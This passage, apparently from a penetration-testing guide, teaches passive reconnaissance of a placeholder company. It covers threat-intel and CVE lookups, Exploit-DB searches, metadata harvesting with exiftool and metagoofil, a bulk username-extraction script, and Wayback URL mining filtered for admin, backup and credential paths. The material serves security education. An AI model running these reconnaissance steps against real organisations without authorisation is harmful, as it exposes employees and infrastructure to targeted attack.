&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AlienVault OTX (Open Threat Exchange):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check IP in threat intelligence database&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://otx.alienvault.com/api/v1/indicators/IPv4/203.0.113.50/general"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-OTX-API-KEY: YOUR_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# Check domain&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://otx.alienvault.com/api/v1/indicators/domain/targetco.com/general"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-OTX-API-KEY: YOUR_KEY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence gathered:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pulse reports (threat actor activity associated with the IP/domain)&lt;/li&gt;
&lt;li&gt;Reputation score&lt;/li&gt;
&lt;li&gt;Associated malware families&lt;/li&gt;
&lt;li&gt;Geographic threat context&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Paste Sites and Dark Web Monitoring
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Pastebin and Public Paste Sites:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Attackers and insiders frequently post stolen data or tools to public paste sites:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search paste sites for target-related content&lt;/span&gt;
&lt;span class="c"&gt;# Manual search:&lt;/span&gt;
site:pastebin.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:paste.ee &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:ghostbin.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:hastebin.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:controlc.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;

&lt;span class="c"&gt;# Automated tool&lt;/span&gt;
pastehunter &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; /tmp/paste_results.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Public Vulnerability Databases
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;CVE Correlation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once technology stack is identified (from job listings, SSL cert analysis, etc.), cross-reference against CVE databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search NVD for vendor vulnerabilities&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=Apache+Tomcat+9.0.41"&lt;/span&gt;

&lt;span class="c"&gt;# Shodan CVE search&lt;/span&gt;
shodan search &lt;span class="s2"&gt;"org:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Target Company&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; vuln:cve-2021-44228"&lt;/span&gt;   &lt;span class="c"&gt;# Log4Shell&lt;/span&gt;

&lt;span class="c"&gt;# Search Exploit-DB for public exploits&lt;/span&gt;
searchsploit apache tomcat 9.0.41
searchsploit &lt;span class="nt"&gt;--json&lt;/span&gt; apache tomcat | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Bug Bounty Program Analysis
&lt;/h4&gt;

&lt;p&gt;Checking whether the target has a public bug bounty program reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What scope they consider important (scope defines what they want tested)&lt;/li&gt;
&lt;li&gt;What has already been found by bug bounty hunters&lt;/li&gt;
&lt;li&gt;The organization's security program maturity&lt;/li&gt;
&lt;li&gt;Types of vulnerabilities that have been paid out (suggesting they exist)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Bug bounty programs&lt;/span&gt;
&lt;span class="c"&gt;# HackerOne: https://hackerone.com/directory/programs&lt;/span&gt;
&lt;span class="c"&gt;# Bugcrowd: https://bugcrowd.com/programs&lt;/span&gt;
&lt;span class="c"&gt;# Intigriti: https://www.intigriti.com/programs&lt;/span&gt;

&lt;span class="c"&gt;# Search for target's program&lt;/span&gt;
site:hackerone.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
site:bugcrowd.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Public Disclosure Analysis:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bug bounty platforms publish disclosed vulnerability reports after patching. Search for disclosures related to the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;site:hackerone.com/reports &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:hackerone.com/reports &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Disclosed reports reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Types of vulnerabilities that have been found historically&lt;/li&gt;
&lt;li&gt;Specific applications and APIs that have had vulnerabilities&lt;/li&gt;
&lt;li&gt;The organization's patch response speed&lt;/li&gt;
&lt;li&gt;Vulnerability classes the security team may have blind spots for&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.16 File Metadata
&lt;/h3&gt;

&lt;p&gt;Files published on an organization's website contain embedded metadata that can expose sensitive information about the organization's internal infrastructure, personnel, and software versions.&lt;/p&gt;

&lt;h4&gt;
  
  
  What is File Metadata?
&lt;/h4&gt;

&lt;p&gt;File metadata is data embedded within a file that describes the file itself. Users creating and publishing files typically are unaware of the metadata their files contain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of metadata by file format:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File Type&lt;/th&gt;
&lt;th&gt;Metadata Format&lt;/th&gt;
&lt;th&gt;What It Contains&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;XMP, Dublin Core, Application-specific&lt;/td&gt;
&lt;td&gt;Author, software, company, internal paths, modification history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Word (.docx)&lt;/td&gt;
&lt;td&gt;Office Open XML metadata&lt;/td&gt;
&lt;td&gt;Author, company, last modified by, document history, template path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Excel (.xlsx)&lt;/td&gt;
&lt;td&gt;Office Open XML metadata&lt;/td&gt;
&lt;td&gt;Author, company, username, formula history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerPoint (.pptx)&lt;/td&gt;
&lt;td&gt;Office Open XML metadata&lt;/td&gt;
&lt;td&gt;Presentation author, company, internal links&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG/PNG&lt;/td&gt;
&lt;td&gt;EXIF&lt;/td&gt;
&lt;td&gt;GPS coordinates, camera model, date/time, software&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TIFF&lt;/td&gt;
&lt;td&gt;EXIF + IPTC&lt;/td&gt;
&lt;td&gt;Same as JPEG plus additional photo metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MP4/Video&lt;/td&gt;
&lt;td&gt;Various&lt;/td&gt;
&lt;td&gt;Creation software, GPS, encoding software&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  What Metadata Reveals to Penetration Testers
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;From PDF and Office Documents:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PDF Metadata Analysis: TargetCo_Q3_2024_Report.pdf

Author: john.smith
Creator: Microsoft Word 2016
Producer: Adobe Acrobat Pro DC 2023.006.20360
CreationDate: 2024-09-15T14:32:11+00:00
ModDate: 2024-09-18T09:15:33+00:00
Title: Q3 2024 Financial Results
Subject: Investor Relations
Keywords: financial, quarterly, results
Company: Target Company Inc.

Template: C:\Users\j.smith\AppData\Roaming\Microsoft\Templates\TC_Corporate_Template.dotx
          ↑ Internal Windows username revealed: j.smith
          ↑ Internal path structure revealed: C:\Users\j.smith\AppData...
          ↑ Template server path may reveal file server naming convention

Last Modified By: Jane Doe
Previous Author: Robert Johnson

Comments in document: 
[Internal Note - TO BE REMOVED]: The Q3 numbers exclude the data breach costs pending legal review
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence extracted:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;j.smith&lt;/code&gt; → likely email &lt;code&gt;j.smith@targetco.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Internal path reveals Windows workstation structure&lt;/li&gt;
&lt;li&gt;Software versions: Word 2016 → potentially vulnerable to specific exploits&lt;/li&gt;
&lt;li&gt;Adobe Acrobat version: Specific version can be checked against CVE database&lt;/li&gt;
&lt;li&gt;Document history reveals additional employee names (Robert Johnson, Jane Doe)&lt;/li&gt;
&lt;li&gt;The comment "TO BE REMOVED" reveals sensitive business information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;From JPEG/Image EXIF Data:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Extract EXIF from an image&lt;/span&gt;
exiftool office_photo.jpg

&lt;span class="c"&gt;# Output:&lt;/span&gt;
File Name                      : office_photo.jpg
File Size                      : 4.2 MB
File Modification Date/Time    : 2024:03:15 14:30:22
Make                           : Apple
Camera Model Name              : iPhone 14 Pro
Software                       : 17.2.1
Date/Time Original             : 2024:03:15 09:15:44
GPS Latitude                   : 37° 47&lt;span class="s1"&gt;' 22.40" N    ← EXACT LOCATION
GPS Longitude                  : 122° 25'&lt;/span&gt; 10.20&lt;span class="s2"&gt;" W   ← EXACT LOCATION
GPS Altitude                   : 45.3 m Above Sea Level
GPS Speed                      : 0 km/h (stationary)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GPS coordinates from a photo taken inside an office building reveal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Precise physical address of the office&lt;/li&gt;
&lt;li&gt;Floor-level precision (altitude data)&lt;/li&gt;
&lt;li&gt;Confirmation of office location for physical penetration testing planning&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Metadata Extraction Tools
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;FOCA (Fingerprinting Organizations with Collected Archives)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;FOCA is specifically designed for extracting and analyzing metadata from documents found during penetration testing reconnaissance. It:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automatically finds documents published on a target website&lt;/li&gt;
&lt;li&gt;Downloads documents from Google, Bing, and DuckDuckGo&lt;/li&gt;
&lt;li&gt;Extracts metadata from all found documents&lt;/li&gt;
&lt;li&gt;Aggregates usernames, software versions, email addresses, and internal paths&lt;/li&gt;
&lt;li&gt;Builds a visual map of internal server names and usernames&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://github.com/ElevenPaths/FOCA" rel="noopener noreferrer"&gt;https://github.com/ElevenPaths/FOCA&lt;/a&gt; (Windows)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Process:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enter target domain&lt;/li&gt;
&lt;li&gt;FOCA searches Google/Bing for documents (.pdf, .docx, .xlsx, .pptx, .txt)&lt;/li&gt;
&lt;li&gt;Downloads all found documents&lt;/li&gt;
&lt;li&gt;Extracts metadata from each document&lt;/li&gt;
&lt;li&gt;Displays aggregated intelligence: usernames, software, printers, servers&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;ExifTool&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The most comprehensive metadata extraction tool — supports 200+ file formats.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;libimage-exiftool-perl
&lt;span class="c"&gt;# or&lt;/span&gt;
brew &lt;span class="nb"&gt;install &lt;/span&gt;exiftool

&lt;span class="c"&gt;# Basic extraction&lt;/span&gt;
exiftool document.pdf

&lt;span class="c"&gt;# Recursive extraction (all files in directory)&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-r&lt;/span&gt; /path/to/documents/

&lt;span class="c"&gt;# Extract specific fields&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-Author&lt;/span&gt; &lt;span class="nt"&gt;-Creator&lt;/span&gt; &lt;span class="nt"&gt;-Software&lt;/span&gt; document.pdf

&lt;span class="c"&gt;# Extract GPS from image and convert to decimal degrees&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-GPSLatitude&lt;/span&gt; &lt;span class="nt"&gt;-GPSLongitude&lt;/span&gt; &lt;span class="nt"&gt;-GPSAltitude&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; photo.jpg

&lt;span class="c"&gt;# Output as JSON&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-json&lt;/span&gt; document.pdf

&lt;span class="c"&gt;# Bulk process and output CSV&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-csv&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.pdf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; metadata_results.csv

&lt;span class="c"&gt;# Remove all metadata (defensive use)&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-All&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;-overwrite_original&lt;/span&gt; document.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;metagoofil&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Searches Google for target domain documents and extracts metadata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;metagoofil

&lt;span class="c"&gt;# Basic usage&lt;/span&gt;
metagoofil &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-t&lt;/span&gt; pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx &lt;span class="nt"&gt;-l&lt;/span&gt; 100 &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/metagoofil_output

&lt;span class="c"&gt;# Options:&lt;/span&gt;
&lt;span class="c"&gt;# -d: target domain&lt;/span&gt;
&lt;span class="c"&gt;# -t: file types to search&lt;/span&gt;
&lt;span class="c"&gt;# -l: limit to N results per file type&lt;/span&gt;
&lt;span class="c"&gt;# -o: output directory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;mat2 (Metadata Anonymisation Toolkit)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;mat2

&lt;span class="c"&gt;# Extract metadata&lt;/span&gt;
mat2 &lt;span class="nt"&gt;--show&lt;/span&gt; document.pdf

&lt;span class="c"&gt;# Remove metadata (defensive)&lt;/span&gt;
mat2 &lt;span class="nt"&gt;--inplace&lt;/span&gt; document.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The Metadata Intelligence Workflow
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Professional metadata reconnaissance process:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Automated document metadata extraction&lt;/span&gt;

&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/metadata_recon"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/docs &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/images

&lt;span class="c"&gt;# Step 1: Download documents from target website&lt;/span&gt;
wget &lt;span class="nt"&gt;--recursive&lt;/span&gt; &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--accept&lt;/span&gt; &lt;span class="s2"&gt;"*.pdf,*.docx,*.xlsx,*.pptx,*.doc,*.xls,*.ppt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;--directory-prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/docs &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="s2"&gt;"https://&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Also search Google for cached documents (use metagoofil)&lt;/span&gt;
metagoofil &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; pdf,docx,xlsx,pptx &lt;span class="nt"&gt;-l&lt;/span&gt; 50 &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/docs

&lt;span class="c"&gt;# Step 2: Extract metadata from all found documents&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-csv&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/docs &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/all_metadata.csv

&lt;span class="c"&gt;# Step 3: Extract unique usernames&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"author&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;creator&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;last.modified"&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/all_metadata.csv | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/usernames.txt

&lt;span class="c"&gt;# Step 4: Extract software versions&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"producer&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;creator.tool&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;software"&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/all_metadata.csv | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/software_versions.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Metadata extraction complete."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Usernames found: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/usernames.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Software versions: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/software_versions.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.17 Web Archiving, Caching, and Public Code Repositories
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Wayback Machine — Internet Archive
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://web.archive.org/" rel="noopener noreferrer"&gt;https://web.archive.org/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Operated by:&lt;/strong&gt; Internet Archive (non-profit)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Coverage:&lt;/strong&gt; Over 800 billion web pages archived since 1996&lt;/p&gt;

&lt;p&gt;The Wayback Machine stores historical snapshots of websites and is one of the most powerful passive reconnaissance resources because it reveals:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Content no longer on the live site:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Removed pages that contained sensitive information&lt;/li&gt;
&lt;li&gt;Old employee directories (with names, phone numbers, emails)&lt;/li&gt;
&lt;li&gt;Discontinued products or services&lt;/li&gt;
&lt;li&gt;Former technology partners (revealing integrations)&lt;/li&gt;
&lt;li&gt;Old contact pages with direct employee emails&lt;/li&gt;
&lt;li&gt;Outdated documentation revealing architecture&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Historical technology stack:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Old &lt;code&gt;robots.txt&lt;/code&gt; files revealing admin paths&lt;/li&gt;
&lt;li&gt;Former CMS or platform (may still be running on subdomains)&lt;/li&gt;
&lt;li&gt;Source code comments with internal references&lt;/li&gt;
&lt;li&gt;JavaScript files revealing API endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Behavioral analysis:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How frequently the site was updated&lt;/li&gt;
&lt;li&gt;When major technology migrations occurred&lt;/li&gt;
&lt;li&gt;Timeline of organizational changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Using the Wayback Machine:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wayback Machine API&lt;/span&gt;
&lt;span class="c"&gt;# Get all snapshots for a URL&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://archive.org/wayback/available?url=targetco.com"&lt;/span&gt;

&lt;span class="c"&gt;# Get all saved URLs for a domain (CDX API)&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://web.archive.org/cdx/search/cdx?url=*.targetco.com/*&amp;amp;output=text&amp;amp;fl=original&amp;amp;collapse=urlkey&amp;amp;limit=10000"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; wayback_urls.txt

&lt;span class="c"&gt;# Filter for interesting file types&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;(php|asp|aspx|jsp|py|rb|txt|bak|sql|env|config|log)$"&lt;/span&gt; wayback_urls.txt

&lt;span class="c"&gt;# Tool: waybackurls&lt;/span&gt;
waybackurls targetco.com | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/wayback_urls.txt

&lt;span class="c"&gt;# Tool: gau (getallurls) — combines Wayback, CommonCrawl, and VirusTotal&lt;/span&gt;
gau targetco.com | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/gau_urls.txt

&lt;span class="c"&gt;# Look for interesting paths in historical URLs&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/wayback_urls.txt | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"(admin|config|backup|test|dev|api|internal|login|password|credential)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;High-Value Wayback Machine Findings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Historical URLs discovered for targetco.com:
https://targetco.com/admin/phpMyAdmin/  ← Database admin interface (removed from live site)
https://targetco.com/backup/            ← Backup directory (no longer live)
https://targetco.com/wp-admin/          ← WordPress admin (site no longer uses WP but old files may exist)
https://targetco.com/test/              ← Test environment once publicly accessible
https://targetco.com/api/v1/            ← Old API version (may still be active but undocumented)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These historical paths should be tested against the live site — web servers frequently retain files and directories even when they are removed from the primary navigation.&lt;/p&gt;

&lt;h4&gt;
  
  
  Google Cache
&lt;/h4&gt;

&lt;p&gt;Google maintains cached copies of indexed web pages. While less comprehensive than the Wayback Machine, Google Cache is more recent.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Access Google's cached version of a page&lt;/span&gt;
cache:targetco.com/employees
cache:www.targetco.com/contact

&lt;span class="c"&gt;# Search for cached version of a specific page&lt;/span&gt;
&lt;span class="c"&gt;# site:google.com/search?q=cache:targetco.com/page&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Common Crawl
&lt;/h4&gt;

&lt;p&gt;Common Crawl maintains petabyte-scale archives of web pages and makes them freely available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search Common Crawl index&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://index.commoncrawl.org/CC-MAIN-2024-04-index?url=*.targetco.com/*&amp;amp;output=json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
